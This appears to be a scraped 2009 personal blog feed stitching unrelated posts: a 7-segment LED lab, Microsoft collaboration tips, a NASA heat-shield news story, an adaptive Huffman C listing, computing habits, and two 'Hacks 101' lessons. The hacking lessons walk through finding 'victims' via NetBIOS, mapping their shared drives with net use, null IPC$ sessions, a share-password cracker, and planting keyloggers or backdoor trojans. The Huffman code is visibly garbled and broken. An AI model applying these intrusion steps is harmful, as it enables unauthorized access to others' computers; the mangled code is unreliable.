Since your original breadboard socket is full, or has had its circuitry transferred elsewhere, we will not specify the lengths of jumpers for the assembly of this project; you will need to select an appropriate length for each jumper for yourself, as well as make the appropriate +5 volt and ground connections. The location we have shown for the construction of this project, to the right of the center of your breadboard socket, is selected to leave room for subsequent projects that will expand on this one.

Click on the `Start' button below to begin. If at any time you wish to start this procedure over again from the beginning, click the `Restart' button that will replace the `Start' button.

Performing the Experiment:


Segment	Normal	Reversed
a	S	S
b	S	S
c	S	S
d	S	S
e	S	S
f	S	S
g	S	S
dp	S	S

Set all eight logic switches to logic 0, and turn on power to your experimental circuit. At this point, all LED segments should be off.
Step 1. Set S7 to logic 1 and note the result on your LED display. Referring to the figure to the right, which segment is controlled by S7? When you have determined this, set S7 again to logic 0. Locate the appropriate segment letter in the table to the right, and fill in the digit 7 (for S7) in the cell immediately to the right (under the column headed "Normal").

Repeat this action for each of the remaining logic switches. Take note of which switch controls each segment as you verify that all segments of the display work properly. Fill in the switch numbers in the table to the right, matching up each segment with its controlling switch.

Step 2. Now, set S5 and S4 to logic 1, and all other switches to logic 0. How does this affect the LED display?

Step 3. Without changing anything else, carefully remove the LED display from your breadboard socket and reverse it, end-for-end. This will put the decimal point in the upper left corner of the display. Re-insert it into the same location on your breadboard socket in its new, reversed orientation. What is the resulting display?

Step 4. Set S7, S6, S3, S2, and S1 to logic 1. This should leave only S0 set to logic 0. Note the resulting LED configuration. Now remove and reverse the LED display as you did before, thus returning it to its original orientation. What effect does this have on the displayed digit?

Step 5. Set S7 to logic 0 and S0 to logic 1. How does this change the working display?

Step 6. Reverse the LED display once again, so that the dp is again at the upper left instead of at the lower right. Using the general segment identifications for the reversed display as shown at the top of the table (segment "a" is still at the top of the display), test each switch one by one, and fill in the table under the column headed "Reversed." Compare your findings for the normal and reversed display orientations. Can you think of any reason for arranging it this way? Restore the LED display to its original orientation.

Step 7. Which segments would you turn on to display the digit 2? Try it and verify your conclusion. Try generating each of the digits 0 through 9 by turning various segments on and off. Verify that all ten digits can be displayed and easily recognized.

When you have made your determinations, turn off the power to your experimental circuit and compare your results with the discussion below.

Discussion:

When you tried out the various logic switches, you found that S7 controlled the decimal point and that S6 through S0 controlled segments a through g in order. This allows easy correlation between switches and segments.

When you turned on segments b and c (S5 and S4), the display responded with the digit 1. Logically, we could use either segments b and c or segments e and f for the digit 1, but standard practice is to put this digit on the right.

When you reversed the LED display and re-installed it, the digit 1 still appeared, and still on the right hand side of the display. Thus, connections to these segments must be in the same places, although we didn't determine at this point which switch controlled which of the two segments in this orientation.

When you turned on every switch except S0, you saw a digit 8, where all seven segments were turned on. However, when you reversed the LED display unit again, you saw a digit 0 with the decimal point turned on. This indicated that the decimal point and segment g are connected to opposite but corresponding pins.

To verify this and all other connections, you reversed the LED display once more and then identified which switch controls which segment in the inverted position. You discovered that S6 through S1 still controlled segments a through f, whether the LED display is right side up or upside down. Only segment g and the decimal point are interchanged.

This arrangement is deliberate. It often simplifies the layout of printed circuit boards. In addition, a common technique used in digital clock displays is to turn the tens of minutes digit upside down and use its decimal point in tandem with the hours digit decimal point to form a colon.

Most single-digit 7 segment displays are set up this way, with the segment connections symmetrical. In some cases, however, the common connection is not shared among all LEDs. Rather, multiple common connections (common cathode for this experiment) must sometimes be linked externally to enable all segments. In the case of the LED display we specified for this experiment, all LED cathodes are connected together, and to the center pins at the top and bottom of the package. The black jumper grounded the cathodes regardless of the orientation of the display. The actual pin connections to the specified display unit are ('K' represents the common cathode):

You should also have found that it's not hard to form all ten digits using the 7-segment display. Digit 2, for example, requires segments a, b, d, e, and g. Digit 3 removes segment e from that list, and adds segment c. The two digits 6 and 9 have two possibilities each. Digit 6 can be made with or without segment a, and digit 9 can be made with or without segment d. You can choose either method, but for consistency you should treat both digits the same way. Except for that possible variation, your ten digits should have looked like this:

When you have completed this experiment, make sure power to your experimental circuit is turned off. Remove all of the orange jumpers from your breadboard socket and put them aside for later use. Leave the 7-segment LED display and its black jumper in place for the next experiment.

6 ways to work more effectively on a virtual team

noreply@blogger.com (Syed Sohaib Jamil) — Tue, 25 Aug 2009 08:21:00 +0000

Who hasn't awakened a colleague from a deep sleep with a mistimed telephone query, wished for a quick in-person chat to resolve a sticky problem with a co-worker who's forever on the move, or didn't know where to find a critical file owned by someone half a world away?

These and other problems are commonplace for those who work on teams in other parts of the city, country, or the world. Frequent travel is exhausting and expensive, and can’t be the day-to-day solution.

So, while you've probably solved the time zone problem by checking the Web for local time before you make a call, the following suggestions might help solve some of the other problems of working with others a world away.

1. Use Instant Messaging for quick impromptu meetings

One tool that's often overlooked when working with virtual teams and remote co-workers is instant messaging (IM). It's a great tool for a quick answer or opinion. Once you add your teammates to your contact list, the IM program, such as Windows Messenger or MSN Messenger, will let you know when they're online. You can also message a team member's cell phone, such as the Microsoft Windows Mobile-based Smartphone.

Most programs also allow a multi-person chat, making instant messages a great way to conduct a spontaneous meeting. Unlike e-mail, everyone sees the messages and can respond simultaneously—even "talking" all at once—adding a touch of closeness for far-flung team members. Some of these programs also enable you and your team to exchange files, use a whiteboard—even see each other if you each have a Webcam.

What you need to get going: Everyone can download either Windows Messenger or MSN Messenger, both Microsoft products. The one downside of instant messaging is that it often only works if everyone is using the same program and system.

2. Use a virtual conference room for more formal meetings

Web-based conferencing makes it possible to brainstorm, make a slide presentation, have a staff meeting, or conduct training sessions with a group of people who are thousands of miles apart. Everyone attending sees the same information at the same time, as if they were gathered around one table. These programs, such as Microsoft Office Live Meeting, also enable you to share files (not just prepared slides), use digital whiteboards—even save the presentation so people who couldn't attend the meeting can watch it later. Most services charge on a monthly or per user/per minute basis.

1. Green boxes indicate who is attending the meeting.
2. You can make notes using a digital whiteboard.
3. Your agenda goes here.

3. Keep your meetings organized

What's the agenda for today's meeting, and where are the documents you need to review? What did you decide at last week's meeting? There's an alternative to scrambling through e-mail messages, attachments, and your file system to find the answers—a Meeting Workspace provides a central place on the Web for all this information. It's easy to set up: you create the site within an Outlook meeting request.

Then, before a meeting, use it to send a meeting invitation to those attending and include a link to the workspace where those invited can see the agenda and find the documents you plan to discuss. Conduct the meeting as you would ordinarily whether in person, over the phone, or using a conferencing program, such as Live Meeting. Then use a Meeting Workspace to publish the meeting results and track tasks.

What you need to get going: Everyone on the team needs Microsoft Office Outlook 2003, a Microsoft Exchange Server e-mail account, and access to a SharePoint Services site. Talk to your IT administrator to find out what your company has set up. Get the details on how to use and set up a Meeting Workspace.

4. Set up a virtual water cooler

Set up a Web site for everyone on your team to share information such as calendars, to-do lists, and reports, as well as poll team members on an upcoming decision or hold newsgroup-style discussions. With a Windows SharePoint Services site, you can control access to team documents, keeping track of versions and updates. As teammates add or delete documents, links are automatically updated so the content is always current. You can also personalize the display of information to a certain extent—for example, hide information that doesn't interest you or change the order in which the information is listed.

5. Review edits of co-workers, no matter where they are

When you can't pore over a document together, the ability to track the changes you and your teammates make is a boon to collaboration. Microsoft Office Word, Microsoft Office Excel, and Microsoft Office PowerPoint all enable you to track the changes you make, although the capabilities in Word are the most powerful.

You can also accept or reject proposed changes, and when it's time to distribute the document, you can set Word to hide all revisions. For a more final version, you can accept all the changes to make sure that no stray revision marks or comments remain in the document you plan to distribute.

1. Word automatically color-codes the edits and comments of each person. (You can display the comments of any one reviewer or all reviewers.)
2. Word tags edits with the reviewer's initials as well as the date and time of each change.

6. Stay in touch: Use a PDA to keep your important data with you

One challenge to long-distance collaboration is making sure you have on hand all the documents you need to contribute to a conference call or online meeting. This is even more difficult when you're away from your desk. Consider solving part of the problem with a mobile device such as a Smartphone or a Pocket PC. You can easily keep information on your mobile device synchronized with your desktop or notebook computer so you always have the latest information with you. Read more about Windows mobile devices.

What you need to get going: Browse the devices available on Windows Mobile and talk with your IT department about their recommendations. If you use a Windows Mobile-based device, you'll have all you need to keep your computer and mobile device in sync. However, you may want to take advantage of the latest version of ActiveSync, the software that makes synchronization possible

Copyrighted To MICROSOFT

Join My Mafia

noreply@blogger.com (Syed Sohaib Jamil) — Mon, 24 Aug 2009 23:20:00 +0000

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Hacks 101(Lesson-3)

noreply@blogger.com (Syed Sohaib Jamil) — Sun, 23 Aug 2009 12:32:00 +0000

Cracking Share passwords

Sometimes when we use "net use k: \\ipaddress\sharename" we are asked for a password. There is a password cracker "PQWAK" . All you have to enter ip address and the share name and it will decrypt the password within seconds. Please note that this can crack only the passwords is the remote operating system is running on -
Windows 95
Windows 98
Windows Me

Using IPC$ to hack Windows NT,2000,XP

Now you must be thinking of something that can crack share passwords on NT based operating systems like Windows NT and Windows 2000.
IPC$ is there to help us. It is not at all a password cracker . It is simply a string that tells the remote operating system to give guest access that is give access without asking for password.
We hackers use IPC$ in this way

c:\windows>net use k: \\123.123.123.123\ipc$ "" /user:""

You may replace k letter by any other letter. If you replace it by "b" (type without quotes) a new drive will be created by a drive letter b.
Please note that you won't be able to get access to victim's shared drives but you you can gather valuable information like names of all the usernames, users that have never logged, and other such information. One such tool that uses the ipc$ method is "Internet Periscope". Another tool is "enum" - its my favorite tool however it is run on command promt.

Penetrating in to the victim's computer

Now that you have access to a remote computer you may be interested in viewing his secret emails, download hismp3 songs , and more...

But if you think like a hard core hacker you would like to play some dirty tricks like you may wish to install a key logger or install a back door entry Trojan like netbus and backorifice or delete or copy some files. All these tasks involves writing to victim's hard disk . For this you need to have write access permission.

Lets Hack - Part 2 Denial of service attack:

This type of attacks are meant to be launched by some computer techies because this type of attack involves using Linux Operating System and compiling C language files. To exploit these vulnerabilities you have to copy exploit code from sites like neworder,securityfocus etc and comiple them.
The two most common vulnerabilities found in NetBIOS are

NetBIOS NULL Name Vulnerability

Bugtraq ID: 1163
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: Yes
Published: May 02 2000 12:00AM
Updated: May 02 2000 12:00AM

-------------------------------------------------------------------------------
Share Level Password Bypass Vulnerability

Bugtraq ID: 1780
Class: Access Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Oct 10 2000 12:00AM
Updated: Oct 10 2000 12:00AM
Credit: Discovered by the Nsfocus Security Team and publicized in a Microsoft Security Bulletin (MS00-072) on October 10, 2000.

Another vulnerability that has been foud recently is that one can launch a DoS attack against winodws NT,2000,XP,.NET system. For detailed information and pacth plz visit this link http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS02-045.asp.
I have checked my web servers that are still vulnerable to this type of attack.
If you know how to hack then you will be more secure

Inflatable heat shield tested in space for first time

noreply@blogger.com (Syed Sohaib Jamil) — Fri, 21 Aug 2009 05:54:00 +0000

An inflatable heat shield was successfully tested on Monday, demonstrating for the first time that these light, flexible devices could be used to protect spacecraft on their way through planets' atmospheres.

Other spacecraft use solid heat shields that either drop away as the spacecraft near the surface, as happened with the Mars rovers, or gradually erode in the atmosphere.

But these solid shields are heavy, and their weight limits the mass of the spacecraft they are designed to protect, since both must launch on the same rocket. Their physical size is also limiting, since the shields must be small enough to fit inside a launch rocket.

Balloon-like shields can in theory sidestep these issues, since they are lightweight and can inflate to relatively large sizes after being folded up during launch. These weight and size savings allow for heavier spacecraft payloads.

The new shield, called the Inflatable Re-entry Vehicle Experiment (IRVE), launched aboard a small rocket on Monday morning from NASA's Wallops Flight Facility on Wallops Island, Virginia. It was the first successful test of an inflatable heat shield.

"We're totally thrilled with the data results we've received," says project manager Mary-Beth Wusk of NASA's Langley Research Center in Hampton, Virginia.

Inflatable mushroom

The launch rocket shot up 218 kilometres in about four minutes before detaching from the 40-kilogram shield. The shield was packed into a 40-centimetre-wide shroud for takeoff, but puffed out to a mushroom-shaped pillow that spanned 3 metres when filled with pressurised nitrogen.

After it parted from the rocket, IRVE and its payload, which included navigation and data-collecting electronics, plunged back into the Earth's atmosphere at hypersonic speeds. Engineers expected it to reach Mach 5, about 1.7 kilometres per second, though they won't be certain of its actual speed until they finish analysing the data.

How hot the shield was when it splashed down in the Atlantic is also uncertain, although Wusk estimates it was over 140° Celsius. The shield is made of several layers of heat-resistant fabric woven from thin strands of ceramics. This covers an inner pouch of silicon-coated Kevlar, which holds the balloon-like shape.

Greater drag

The design resembles a device known as a "ballute", a cross between a balloon and a parachute. Ballutes sport inflatable pouches, like IRVE, but not its flexible outer layer. Several companies and government agencies have worked on ballute and other inflatable shield designs for years, including the firm Andrews Space in Seattle, Washington.

"The NASA test is significant in that it's the most advanced test yet of an inflatable heat shield for re-entry applications," says Jason Andrews, president of Andrews Space.

The Inflatable Re-entry Vehicle Experiment (IRVE) successfully protected its payload as it fell to Earth from an altitude of more than 200 km this week (Image: NASA/Sean Smith)

The temperature the shield can withstand depends on how wide it is, says chief engineer Robert Dillman of Langley. A wider shield slows the craft down more and spreads the heat over a greater surface area.

"It's like if you're swinging a ping-pong paddle through the air edge-on, and then you turn it sideways," he told New Scientist. "That is spreading your energy across more area. The whole item, whether it's a ping-pong paddle or an inflatable, is all exposed to the air."

Heavier payloads

Since inflatable shields can be wider than the rockets used to launch them, they can support more weight than traditional heat shields. Their own low mass also allows spacecraft to carry more or heavier payloads.

"Right now the rigid ones are at the weight limit of what we're trying to send to Mars," Dillman says. "If you want to take larger payloads to Mars, they'll have to either do something quite creative or switch to an inflatable."

Dillman says the IRVE could be used for missions to Mars or Titan, or to bring things back to Earth from the International Space Station. "It'll work anywhere with an atmosphere," he says.

But to get there, IRVE will have to face yet more heat. "This was just a demo flight – it didn't have the whole heating you'd get smacking into the atmosphere at interplanetary speed," Dillman says. "We need to do some more development to test larger versions, scale up to something that you could actually use for a payload at Mars."

The team hopes to subject the shield to higher temperatures during the next flight test – which would occur from a higher altitude – in early 2012, says principal investigator Neil Cheatwood of Langley.

Copy Righted to New Scientists

Huffman Code

noreply@blogger.com (Syed Sohaib Jamil) — Wed, 19 Aug 2009 20:39:00 +0000

/*

I am sorry for the late reply to your queries , this is only for educational purpose please

*/
#include stdlib.h
#include memory.h
#include string.h
#includefcthl.h

#ifdef unix //works with unix applications too
#define __cdecl
#else
#include io.h
#endif
// i used this code for java implementation but did not used in my assignment
// link bit-level I/O

void arc_put1 (unsigned bit);
unsigned arc_get1 ();

// This code is adapted from Professor Vitter's
// article, Design and Analysis of Dynamic Huffman Codes,
// which appeared in JACM October 1987

// A design trade-off has been made to simplify the
// code: a node's block is determined dynamically,
// and the implicit tree structure is maintained,
// e.g. explicit node numbers are also implicit.

// Dynamic huffman table weight ranking
// is maintained per Professor Vitter's
// invariant (*) for algorithm FGK:

// leaves preceed internal nodes of the
// same weight in a non-decreasing ranking
// of weights using implicit node numbers:

// 1) leaves slide over internal nodes, internal nodes
// swap over groups of leaves, leaves are swapped
// into group leader position, but two internal
// nodes never change positions relative
// to one another.

// 2) weights are incremented by 2:
// leaves always have even weight values;
// internal nodes always have odd values.

// 3) even node numbers are always right children;
// odd numbers are left children in the tree.

// node 2 * HuffSize - 1 is always the tree root;
// node HuffEsc is the escape node;

// the tree is initialized by creating an
// escape node as the root.

// each new leaf symbol is paired with a new escape
// node into the previous escape node in the tree,
// until the last symbol which takes over the
// tree position of the escape node, and
// HuffEsc is left at zero.

// overall table size: 2 * HuffSize

// huff_init(alphabet_size, potential symbols used)
// huff_encode(next_symbol)
// next_symbol = huff_decode()

// huff_scale(by_bits) -- scale weights and rebalance tree

typedef struct {
unsigned up, // next node up the tree
down, // pair of down nodes
symbol, // node symbol value
weight; // node weight
} HTable;

typedef struct {
unsigned esc, // the current tree height
root, // the root of the tree
size, // the alphabet size
*map; // mapping for symbols to nodes
HTable table[1]; // the coding table starts here
} HCoder;

// initialize an adaptive coder
// for alphabet size, and count
// of nodes to be used

HCoder *huff_init (unsigned size, unsigned root)
{
HCoder *huff;

// default: all alphabet symbols are used

if( !root || root > size )
root = size;

// create the initial escape node
// at the tree root

if( root <<= 1 ) root--; huff = malloc (root * sizeof(HTable) + sizeof(HCoder)); memset (huff->table + 1, 0, root * sizeof(HTable));
memset (huff, 0, sizeof(HCoder));

if( huff->size = size )
huff->map = calloc (size, sizeof(unsigned));

huff->esc = huff->root = root;
return huff;
}

// split escape node to incorporate new symbol

unsigned huff_split (HCoder *huff, unsigned symbol)
{
unsigned pair, node;

// is the tree already full???

if( pair = huff->esc )
huff->esc--;
else
return 0;

// if this is the last symbol, it moves into
// the escape node's old position, and
// huff->esc is set to zero.

// otherwise, the escape node is promoted to
// parent a new escape node and the new symbol.

if( node = huff->esc ) {
huff->table[pair].down = node;
huff->table[pair].weight = 1;
huff->table[node].up = pair;
huff->esc--;
} else
pair = 0, node = 1;

// initialize the new symbol node

huff->table[node].symbol = symbol;
huff->table[node].weight = 0;
huff->table[node].down = 0;
huff->map[symbol] = node;

// initialize a new escape node.

huff->table[huff->esc].weight = 0;
huff->table[huff->esc].down = 0;
huff->table[huff->esc].up = pair;
return node;
}

// swap leaf to group leader position
// return symbol's new node

unsigned huff_leader (HCoder *huff, unsigned node)
{
unsigned weight = huff->table[node].weight;
unsigned leader = node, prev, symbol;

while( weight == huff->table[leader + 1].weight )
leader++;

if( leader == node )
return node;

// swap the leaf nodes

symbol = huff->table[node].symbol;
prev = huff->table[leader].symbol;

huff->table[leader].symbol = symbol;
huff->table[node].symbol = prev;
huff->map[symbol] = leader;
huff->map[prev] = node;
return leader;
}

// slide internal node up over all leaves of equal weight;
// or exchange leaf with next smaller weight internal node

// return node's new position

unsigned huff_slide (HCoder *huff, unsigned node)
{
unsigned next = node;
HTable swap[1];

*swap = huff->table[next++];

// if we're sliding an internal node, find the
// highest possible leaf to exchange with

if( swap->weight & 1 )
while( swap->weight > huff->table[next + 1].weight )
next++;

// swap the two nodes

huff->table[node] = huff->table[next];
huff->table[next] = *swap;

huff->table[next].up = huff->table[node].up;
huff->table[node].up = swap->up;

// repair the symbol map and tree structure

if( swap->weight & 1 ) {
huff->table[swap->down].up = next;
huff->table[swap->down - 1].up = next;
huff->map[huff->table[node].symbol] = node;
} else {
huff->table[huff->table[node].down - 1].up = node;
huff->table[huff->table[node].down].up = node;
huff->map[swap->symbol] = next;
}

return next;
}

// increment symbol weight and re balance the tree.

void huff_increment (HCoder *huff, unsigned node)
{
unsigned up;

// obviate swapping a parent with its child:
// increment the leaf and proceed
// directly to its parent.

// otherwise, promote leaf to group leader position in the tree

if( huff->table[node].up == node + 1 )
huff->table[node].weight += 2, node++;
else
node = huff_leader (huff, node);

// increase the weight of each node and slide
// over any smaller weights ahead of it
// until reaching the root

// internal nodes work upwards from
// their initial positions; while
// symbol nodes slide over first,
// then work up from their final
// positions.

while( huff->table[node].weight += 2, up = huff->table[node].up ) {
while( huff->table[node].weight > huff->table[node + 1].weight )
node = huff_slide (huff, node);

if( huff->table[node].weight & 1 )
node = up;
else
node = huff->table[node].up;
}
}

// scale all weights and rebalance the tree

// zero weight nodes are removed from the tree
// by sliding them out the left of the rank list

void huff_scale (HCoder *huff, unsigned bits)
{
unsigned node = huff->esc, weight, prev;

// work up the tree from the escape node
// scaling weights by the value of bits

while( ++node <= huff->root ) {
// recompute the weight of internal nodes;
// slide down and out any unused ones

if( huff->table[node].weight & 1 ) {
if( weight = huff->table[huff->table[node].down].weight & ~1 )
weight += huff->table[huff->table[node].down - 1].weight | 1;

// remove zero weight leaves by incrementing HuffEsc
// and removing them from the symbol map. take care

} else if( !(weight = huff->table[node].weight >> bits & ~1) )
if( huff->map[huff->table[node].symbol] = 0, huff->esc++ )
huff->esc++;

// slide the scaled node back down over any
// previous nodes with larger weights

huff->table[node].weight = weight;
prev = node;

while( weight <>table[--prev].weight )
huff_slide (huff, prev);
}

// prepare a new escape node

huff->table[huff->esc].down = 0;
}

// send the bits for an escaped symbol

void huff_sendid (HCoder *huff, unsigned symbol)
{
unsigned empty = 0, max;

// count the number of empty symbols
// before the symbol in the table

while( symbol-- )
if( !huff->map[symbol] )
empty++;

// send LSB of this count first, using
// as many bits as are required for
// the maximum possible count

if( max = huff->size - (huff->root - huff->esc) / 2 - 1 )
do arc_put1 (empty & 1), empty >>= 1;
while( max >>= 1 );
}

// encode the next symbol

void huff_encode (HCoder *huff, unsigned symbol)
{
unsigned emit = 1, bit;
unsigned up, idx, node;

if( symbol <>size )
node = huff->map[symbol];
else
return;

// for a new symbol, direct the receiver to the escape node
// but refuse input if table is already full.

if( !(idx = node) )
if( !(idx = huff->esc) )
return;

// accumulate the code bits by
// working up the tree from
// the node to the root

while( up = huff->table[idx].up )
emit <<= 1, emit |= idx & 1, idx = up; // send the code, root selector bit first while( bit = emit & 1, emit >>= 1 )
arc_put1 (bit);

// send identification and incorporate
// new symbols into the tree

if( !node )
huff_sendid(huff, symbol), node = huff_split(huff, symbol);

// adjust and re-balance the tree

huff_increment (huff, node);
}

// read the identification bits
// for an escaped symbol

unsigned huff_readid (HCoder *huff)
{
unsigned empty = 0, bit = 1, max, symbol;

// receive the symbol, LSB first, reading
// only the number of bits necessary to
// transmit the maximum possible symbol value

if( max = huff->size - (huff->root - huff->esc) / 2 - 1 )
do empty |= arc_get1 () ? bit : 0, bit <<= 1; while( max >>= 1 );

// the count is of unmapped symbols
// in the table before the new one

for( symbol = 0; symbol <>size; symbol++ )
if( !huff->map[symbol] )
if( !empty-- )
return symbol;

// oops! our count is too big, either due
// to a bit error, or a short node count
// given to huff_init.

return 0;
}

// decode the next symbol

unsigned huff_decode (HCoder *huff)
{
unsigned node = huff->root;
unsigned symbol, down;

// work down the tree from the root
// until reaching either a leaf
// or the escape node. A one
// bit means go left, a zero
// means go right.

while( down = huff->table[node].down )
if( arc_get1 () )
node = down - 1; // the left child preceeds the right child
else
node = down;

// sent to the escape node???
// refuse to add to a full tree

if( node == huff->esc )
if( huff->esc )
symbol = huff_readid (huff), node = huff_split (huff, symbol);
else
return 0;
else
symbol = huff->table[node].symbol;

// increment weights and rebalance
// the coding tree

huff_increment (huff, node);
return symbol;
}

#ifdef HUFFSTANDALONE

#include

FILE *In = stdin, *Out = stdout;
unsigned char ArcBit = 0;
int ArcChar = 0;

int main (int argc, char **argv)
{
int mode, size, symbol;
unsigned mask = ~0;
HCoder *huff;

if( argc > 1 )
mode = argv[1][0], argv[1]++;
else {
printf ("Usage: %s [cdtls]nn infile outfile\nnn -- alphabet size\ninfile -- source file\noutfile -- output file", argv[0]);
return 1;
}

if( argv[1][0] == 's' )
argv[1]++, mask = 8191;

if( argc > 3 )
if( !(Out = fopen (argv[3], "w")) )
return 1;

#ifndef unix
_setmode (_fileno (Out), _O_BINARY);
#endif

// literal text

if( mode == 'l' ) {
if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

size = strlen (argv[2]);
putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

while( symbol = *argv[2]++ )
huff_encode(huff, symbol);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

// alphabet fill

if( mode == 't' ) {
if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

for( symbol = 0; symbol <>
huff_encode(huff, symbol);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

if( argc > 2 )
if( !(In = fopen (argv[2], "r")) )
return 1;

#ifndef unix
_setmode (_fileno (In), _O_BINARY);
#endif

// decompression

if( mode == 'd' ) {
size = getc(In) <<>
size |= getc(In);

huff = huff_init (256, size);

size = getc(In) <<>
size |= getc(In) <<>
size |= getc(In);

while( size )
if( symbol = huff_decode(huff), putc (symbol, Out), size-- & mask )
continue;
else
huff_scale(huff, 1);

return 0;
}

// compression

if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

fseek(In, 0, 2);
size = ftell(In);
fseek (In, 0, 0);

putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

while( size )
if( symbol = getc(In), huff_encode(huff, symbol), size-- & mask )
continue;
else
huff_scale(huff, 1);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

void arc_put1 (unsigned bit)
{
ArcChar <<= 1; if( bit ) ArcChar |= 1; if( ++ArcBit <>
return;

putc (ArcChar, Out);
ArcChar = ArcBit = 0;
}

unsigned arc_get1 ()
{
if( !ArcBit )
ArcChar = getc (In), ArcBit = 8;

return ArcChar >> --ArcBit & 1;
}
#endif

If u didnt understand something please drop a line in a comments

Hacks 101(Lesson-2)

noreply@blogger.com (Syed Sohaib Jamil) — Wed, 19 Aug 2009 06:40:00 +0000

Okay we understand how the network works, now we will see who are potetial victims.
WHAT YOU NEED TO HACK:
All you need is a Windows based operating system like Windows 98 and Me (but I prefer Windows NT, 2000, XP) and an internet connection.
TYPES OF ATTACKS:
1. Reading/Writing to a remote computer system.
2. Denial of Service.

Searching for a victim:
You may manually search for the victims by first using the nbtstat -a ipaddress and then net view \\ipaddress . If at first you don't succeed step to next ip address until you find a suitable ip address. You may also use a port scanner .A port scanner is simply a software that can search for any block of ip address say 192.168.0.1 to 192.168.0.255 for one or more ports. "Orge" is a port scanner that gives NetBIOS names of the remote computer.
Lets Hack -Part 1 Remotely reading/writing to a victiim's computer:

Believe it or not but NetBIOS is the easiest method to break into somebody's computer. However there is a condition that must be satisfied before you can hack. The condition is that the victim must have enabled File And Printer Sharing on his computer. If the victim has enabled it , the nbtstat command will display one more NetBIOS name. Now lets us take a example. Suppose you know a ip address that has enabled File And Printer Sharing and let suppose the ip address happens to be 203.195.136.156 . If you don't the ip address where File and Printer Sharing is enabled read "Searching for a victim".The command that you will use to view the NetBIOS name is

c:\windows>nbtstat -a 203.195.136.156

Let suppose that the output comes out to be

NetBIOS Remote Machine Name Table

Name Type Status
-------------------------------------------------------------------------------------------------
user <00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = 00-02-44-14-23-E6

The number <20> shows that the victim has enabled the File And Printer Sharing.

-------------------------------------------------------------------------------------------------------------------------------------------------------------

NOTE - If you do not get this number there are two possibilities

1. You do not get the number <20> . This shows that the victim has not enabled the File And Printer Sharing .

2. You get "Host Not found" . This shows that the port 139 is closed or the ip address doesn't exists.

---------------------------------------------------------------------------------------------------------

Now our next step would be to view the drive or folders the victim is sharing.

We will use command

c:\windows>net view \\203.195.136.156

Let suppose we get the following output

Shared resources at \\203.195.136.156
ComputerNameGoesHere

Share name Type Used as Comment

-----------------------------------------------------------------------------------------------
CDISK Disk

The command completed successfully.

"DISK" shows that the victim is sharing a Disk named as CDISK . You may also get some additional information like

Shared resources at \\203.195.136.156

ComputerNameGoesHere

Share name Type Used as Comment

-----------------------------------------------------------------------------------------------
HP-6L Print

"Print " shows that the victim is sharing a printer named as HP-6L

If we are able to share the victims hard disks or folders or printers we will be able to read write to the folders or hard disks or we may also be able to print anything on a remote printer ! Now let us share the victims computer's hard disk or printer.

Till now we know that there is a computer whose ip address happens to be 203.195.136.156 and on that computer File and printer sharing is enabled and the victim's hard disk 's name is CDISK.

Now we will connect our computer to that hard disk . After we have connected successfully a drive will be created on our computer and on double clicking on it we will be able to view the contents of the drive. If we have connected our newly formed drive to the victim's share name CDISK it means that we our drive will have the same contents as that of the CDISK .

Lets do it.

We will use the NET command to do our work .

Let suppose we want to make a drive k: on our computer and connect it to victim's share we will issue the command

c:\windows>net use k: \\203.195.136.156\CDISK

You may replace k letter by any other letter.

If the command is successful we will get the confirmation - The command was completed successfullly

The command was completed successfully

Now just double click on the My Computer icon on your desktop and you will be a happy hacker!

We have just crested a new drive k: . Just double click on it and you will find that you are able to access the remote computer's hard disk. Enjoy your first hack!

5 good computing habits

noreply@blogger.com (Syed Sohaib Jamil) — Mon, 17 Aug 2009 19:04:00 +0000

Working off a slow, disorganized computer can be frustrating—and it happens to the best of us. This article is designed to give you some easy-to-follow guidelines on how to keep your computer on the right track using tools in Microsoft Windows Vista and Microsoft Windows XP.
1. Organize your folders:

We all know how easy it is to dump files into the wrong folder when we're in a hurry. But one way to make sure you'll keep your files organized is to remove the clutter with a filing system that makes sense for the way you use your computer. Here are a few tips to get you started..

Start clean

Begin by deciding which files you no longer need on your hard drive.

Think it through

Take the time to plan the best way to organize your files. How do you spend your time on the computer and what do you create? Do you work with photos and image editing software, surf the Web, write short stories, research school projects, or play games? The folders you create in Documents (called My Documents in Windows XP) can be easily tailored to show you just the kind of data about your files that you need to track.

Use subfolders

After you have an idea of the kinds of items you produce and want to save, create folders and subfolders to store your files. Be sure to use logical, easy-to-understand names. For example, within Documents, you might create additional folders called Projects, HR Benefits, and Career. Then, within the Projects folder, you could create subfolders for each different project.

2. Clean up your hard disk:

Now that you've organized your files and folders, and cleaned up your desktop, you can organize the data itself. Windows includes two utilities—Disk Cleanup and Disk Defragmenter—that help you free up more space on your hard drive and help your computer work more efficiently.

Disk Cleanup compresses your old files so you can free up storage space.

Disk Defragmenter scans your hard drive and consolidates files that may be scattered across the disk

Not sure how often to run these utilities? It's really up to you—some people like to run both weekly, others prefer monthly, and a few only run them every few months. It's not a bad idea to do both at least once a month. Windows Vista users take note: Disk Defragmenter is automatically scheduled to run once a week (Sunday at 4 a.m.). You can change the scheduled time for this feature or turn it off, if you prefer.

To find both programs, click Start, point to All Programs, then point to Accessories, and then choose System Tools.

3. Use System Restore

System Restore is one of those programs that can be a life-saver when you've been the unfortunate recipient of unstable software, a badly timed power outage, or a damaging thunderstorm. System Restore records important documents, settings, and preferences on your computer. If the unthinkable happens and your computer files are damaged or inaccessible, you can use System Restore to restore your computer back the same state it was in before the data was lost.

System Restore creates restore points daily, and whenever you install device drivers, automatic updates, and some applications. Still, it's a good idea to get into the habit of creating a system checkpoint (called a restore point) whether you're about to install new software, or take any action you suspect might make your computer unstable. That way, if there's any conflict at all, you can restore your computer to the point just before you began the installation.

To use System Restore:

Click Start, and choose All Programs.
